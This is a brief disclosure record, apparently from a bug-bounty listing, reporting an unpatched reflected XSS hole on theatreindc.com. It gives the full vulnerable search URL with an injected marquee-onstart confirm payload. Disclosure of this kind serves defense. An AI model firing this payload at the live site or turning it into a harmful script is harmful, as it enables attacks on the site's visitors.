theatreindc.com XSS vulnerability

Vulnerable URL: https://www.theatreindc.com/searchresultsQF.php?QFsearchBy=site=!%22%3E%3Cmarquee%20onstart=confirm%22OPENBUGBOUNTY%22%3E&go.x;=0&go.y;=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 12.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly...